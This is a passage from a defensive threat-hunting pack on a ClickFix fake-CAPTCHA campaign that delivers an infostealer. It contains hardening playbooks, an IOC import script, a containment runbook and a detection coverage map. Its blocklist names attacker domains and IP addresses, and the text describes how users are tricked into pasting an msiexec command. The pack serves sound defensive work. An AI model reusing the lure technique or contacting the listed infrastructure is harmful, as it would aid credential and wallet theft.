- ClickFix-specific user-awareness training: run a phishing simulation modeling a fake CAPTCHA/verification prompt that asks the user to paste a command into Run. Authority: MITRE M1017 (User Training).
- Fleet-wide default-deny application control (WDAC) for unsigned executables, closing the arbitrary EXE/MSI/PowerShell execution path the implant's own C2 tasking relies on for follow-on payloads. Authority: MITRE M1038; Microsoft WDAC design guide.
- Newly-registered-domain (NRD) blocking at the DNS/secure-web-gateway layer. The delivery domain in this campaign was registered and weaponized within days; category/age-based blocking of NRDs closes an entire class of same-pattern campaigns, not just this one. Authority: MITRE M1021 (Restrict Web-Based Content).
- File-integrity monitoring (FIM) and a Web Application Firewall on any client-facing website your organization or MSP practice hosts, specifically covering the CMS template/iframe injection point this campaign relies on for initial access. This is the only control that addresses the step no endpoint sensor can see. Authority: CIS Benchmark (web server hardening); OWASP guidance. ⚠ best-practice, no single formal benchmark covers third-party CMS iframe-injection monitoring end-to-end — combine FIM + WAF + CMS vendor hardening guidance.
- Confirm Chrome/Edge App-Bound Encryption is enforced on all managed endpoints, raising the cost of offline decryption of
Local State/Login Dataeven if a stealer reads the raw files. Authority: Chrome Enterprise / Chromium project documentation on App-Bound Encryption.
Deployable Playbooks
Playbook 1 — Block programmatic clipboard writes from untrusted origins (Chrome/Edge)
Prerequisites: Chrome/Edge managed via Group Policy ADMX templates or Chrome Browser Cloud Management; identify any internal web apps that legitimately use navigator.clipboard.writeText so they can be allowlisted before enforcement.
Reboot required: No — browser restart only.
Rollback: Remove or set the GPO value back to "Not Configured" and force a policy refresh (gpupdate /force); the browser reverts to its default clipboard-permission prompt behavior.
' GPO path: Computer Configuration > Administrative Templates > Google Chrome > Content Settings ' Or Edge: Computer Configuration > Administrative Templates > Microsoft Edge > Content Settings > Clipboard ' Registry equivalent (deploy via GPO Preference or Intune): reg add "HKLM\SOFTWARE\Policies\Google\Chrome" /v DefaultClipboardSetting /t REG_DWORD /d 2 /f reg add "HKLM\SOFTWARE\Policies\Google\Chrome" /v ClipboardAllowedForUrls /t REG_SZ /d "[\"https://*.yourorg.com\"]" /f ' Edge equivalent: reg add "HKLM\SOFTWARE\Policies\Microsoft\Edge" /v DefaultClipboardSetting /t REG_DWORD /d 2 /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Edge" /v ClipboardAllowedForUrls /t REG_SZ /d "[\"https://*.yourorg.com\"]" /f ' DefaultClipboardSetting=2 blocks clipboard read/write by default for all sites not on the allow list.
Playbook 2 — Restrict msiexec.exe to internal/signed sources and block its outbound network access
Prerequisites: Inventory legitimate remote-MSI deployment tooling (SCCM, Intune, third-party RMM) and its source IP ranges/hostnames before enabling; test on a pilot ring.
Reboot required: No.
Rollback: Remove-NetFirewallRule -DisplayName "Block-Msiexec-Outbound" and remove/disable the AppLocker MSI rule via gpupdate /force after unlinking the GPO.
# Windows Firewall: block msiexec.exe outbound except to your internal deployment server range New-NetFirewallRule -DisplayName "Block-Msiexec-Outbound" -Direction Outbound ` -Program "%SystemRoot%\System32\msiexec.exe" -Action Block -Enabled True New-NetFirewallRule -DisplayName "Allow-Msiexec-Internal-Deploy" -Direction Outbound ` -Program "%SystemRoot%\System32\msiexec.exe" -RemoteAddress 10.0.0.0/8 -Action Allow -Enabled True # AppLocker: restrict Windows Installer rules to a trusted internal path (deploy via GPO) New-AppLockerPolicy -RuleType Msi -User Everyone -FilePathCondition "%OSDRIVE%\ApprovedInstalls\*" ` -Generate | Set-AppLockerPolicy -Merge
Playbook 3 — Block confirmed campaign infrastructure and import IOCs into Falcon
Prerequisites: Falcon Insight/XDR API credentials with IOC-management write scope, or console access to IOC Management; DNS RPZ (or equivalent) zone available on your resolver.
Reboot required: No.
Rollback: Delete the imported IOCs from Falcon IOC Management, and remove the RPZ zone entries; both actions take effect immediately with no endpoint-side state to revert.
# Falcon: import Section 10's grab-csv block via IOC Management > Upload / API
# (falconpy example)
from falconpy import IOC
falcon = IOC(client_id="REPLACE_WITH_CLIENT_ID", client_secret="REPLACE_WITH_CLIENT_SECRET")
# NOTE: action=detect matches the Section 4 IOC table and the Section 10 CSV exactly.
# Do NOT raise these to action="prevent" on the strength of this pack alone. All four
# values are single-sourced to the Arctic Wolf report (The Hacker News corroborates the
# victim-site list and the MSI filenames, not the C2 infrastructure), and both IPs sit on
# commodity hosting where addresses get reassigned. Promote to prevent only after (a) a
# second independent source confirms the infrastructure is still attacker-controlled and
# (b) you have confirmed no legitimate destination shares the address in your own egress
# logs. See the promotion row in Section 11.
falcon.indicator_create(body={
"indicators": [
{"type": "domain", "value": "uasputnik.com", "action": "detect", "severity": "high",
"platforms": ["windows"], "source": "Psychedelic Stealer HuntPack"},
{"type": "domain", "value": "fsputnik.com", "action": "detect", "severity": "high",
"platforms": ["windows"], "source": "Psychedelic Stealer HuntPack"},
{"type": "ipv4", "value": "107.175.82.242", "action": "detect", "severity": "high",
"platforms": ["windows"], "source": "Psychedelic Stealer HuntPack"},
{"type": "ipv4", "value": "193.178.159.128", "action": "detect", "severity": "high",
"platforms": ["windows"], "source": "Psychedelic Stealer HuntPack"}
]
})
# DNS RPZ zone entry (BIND-style) to null-route the delivery/loader domains
uasputnik.com CNAME .
fsputnik.com CNAME .
Containment Runbook
| Phase | Actions | Owner | Evidence to Preserve |
|---|---|---|---|
| Isolate | Network-isolate the affected host via Falcon Host Containment. Preserve current network connections (Q6 results) and scheduled-task state (Q5) before isolation changes them. | SOC / IR on-call | Falcon detection details, full CommandLine of the msiexec invocation, timestamp of the ClickFix paste (correlate with user interview) |
| Eradicate | Remove the psychedelicloveUtils scheduled task; terminate and delete psychedeliclove.exe and any first-stage MSI artifacts; remove host.ps1/host.bat/com.lunex.explorer.json and the native-messaging registration; remove the injected browser extension archive from affected browser profiles. | IR / Endpoint Engineering | Hashes of all removed files, exported scheduled-task XML, before/after browser-profile extension list |
| Recover (credentials) | Force password rotation for every credential stored in the affected browser profiles; revoke and reissue any account tokens/session cookies; treat any cryptocurrency wallet with a local or extension footprint on the host as compromised and move funds to a new wallet from a known-clean device. | IAM / Security Engineering | List of affected accounts, rotation timestamps, wallet-migration confirmation |
| Recover (endpoint) | Reimage the host if full eradication cannot be confirmed (recommended default for infostealer compromises given the C2 tasking capability observed). Reintroduce to the network only after Q1/Q4/Q5/Q6 re-baseline clean for 72 hours. | Endpoint Engineering | Reimage record, clean-baseline query results |
| Notify | If the site the user visited is one your organization or an MSP client owns/hosts, notify the site owner immediately — the compromised site is actively serving the iframe to other visitors. | IR Lead / Account Management | Site URL, screenshot of the injected iframe/fake CAPTCHA if captured, notification timestamp |
Detection Coverage Map
| Technique | Behavior | CQL | IOA | Coverage |
|---|---|---|---|---|
| T1189 | Injected iframe on compromised website | None — browser-rendered | None | GAP |
| T1204.004 | Clipboard poisoning via browser JS | None — browser Clipboard API write | None | GAP (compensating control: Playbook 1) |
| T1204.004 / T1218.007 | Run-dialog-parented msiexec.exe execution | Q1, Q2, Q3 | DETECT/PREVENT candidate | Good |
| T1105 | Next-stage payload retrieval | Q6 | — | Good |
| T1105 / T1204.004 | Stealer payload execution | Q4 | DETECT/PREVENT candidate | Good |
| T1053.005 | Scheduled-task persistence | Q5 | DETECT candidate | Good |
| T1176 / T1036 | Browser component / native-messaging bridge install | Q8 | None | Partial — file-write telemetry unconfirmed for non-PE writes |
| T1555.003 / T1539 / T1552.001 / T1005 | Credential, token, and wallet theft | Q9 | None | Partial — requires FileOpenInfo/FileReadInfo, tenant-dependent |
| T1071.001 | C2 check-in, heartbeat, tasking, exfil | Q6 | — | Good |
| — | Lure-panel interaction (Rublevka TDS) | None — visible only to the attacker's own panel | None | GAP (not a defender-observable surface) |
Validation gates for every query above are tracked in Section 11; two techniques above are genuine, honestly-flagged sensor gaps (browser-side delivery) rather than missed detections, and are addressed only through the compensating controls in Section 12/13.
Hunt Summary Ticket
TITLE: Hunt for Psychedelic Stealer / ClickFix Fake-Cloudflare Campaign
SEVERITY: High (active campaign; credential + cryptocurrency wallet theft)
SCOPE: All Windows endpoints with Falcon sensor coverage; priority to hosts with recent
browser activity to Ukrainian or Eastern-European business/e-commerce sites
HYPOTHESIS: A user was shown a fake Cloudflare verification page on a compromised
legitimate website, pasted a clipboard-supplied msiexec command into the
Windows Run dialog, and installed the Psychedelic Stealer infostealer.
QUERIES: Q1-Q9 (Section 8) -- Q1 (Run-dialog msiexec) and Q4 (payload execution)
are the primary signals; Q5/Q6 confirm persistence and C2.
DO FIRST: Run Q1 and Q4 fleet-wide over a 30-day window; triage any hit per the
checklist in Section 9 before wider rollout of Q2/Q3/Q7/Q8/Q9.
FINDINGS: [populate after first run -- no environment-specific hits confirmed as
of pack publication; this is proactive coverage, not an active incident]
GAPS: Browser-side iframe injection and clipboard poisoning are not visible to the
Falcon sensor (Section 15). File-read telemetry for Q9 and non-PE file-write
telemetry for Q8 require tenant validation.
ACTIONS: Deploy Playbook 1 (clipboard policy) as the highest-leverage compensating
control for the sensor-blind delivery step; enable Q1/Q4 as Scheduled
Searches; import Section 10 IOC CSV into Falcon IOC Management.
OWNER: Threat Hunting / SOC
VERSION: v0.1 (2026-09-25)
Changelog
References
| Tier | Source | Used For | Access Date |
|---|---|---|---|
| Primary | Arctic Wolf Labs — "The Psychedelic Stealer: When a CAPTCHA Becomes an Installer" | Full attack chain, malware analysis, C2 protocol, IOC inventory, WHOIS timeline, hunting leads | 2026-09-25 |
| Corroborating | The Hacker News — "Hacked Ukrainian Sites Serve Fake Cloudflare ClickFix Lures for Psychedelic Stealer" (2026-09-24) | Corroboration; full 7-name first-stage MSI filename set | 2026-09-25 |
| Corroborating (partial) | Techzine Global — "Arctic Wolf: Psychedelic stealer exploits CAPTCHA as an installer" | Secondary corroboration only; direct fetch blocked (HTTP 403), captured via tool-mediated extraction, never used as sole source for an IOC | 2026-09-25 |
| Framework | MITRE ATT&CK T1204.004 — User Execution: Malicious Copy and Paste | ClickFix technique classification (Section 6) | 2026-09-25 |
| Framework | MITRE ATT&CK T1218.007 — System Binary Proxy Execution: Msiexec | msiexec abuse classification (Section 6) | 2026-09-25 |
Note: coverage from dev.ua was searched for but could not be fetched (HTTP 403 on every direct attempt, no archived snapshot available) and is not cited anywhere in this pack. See Section 2 for the full source-access log.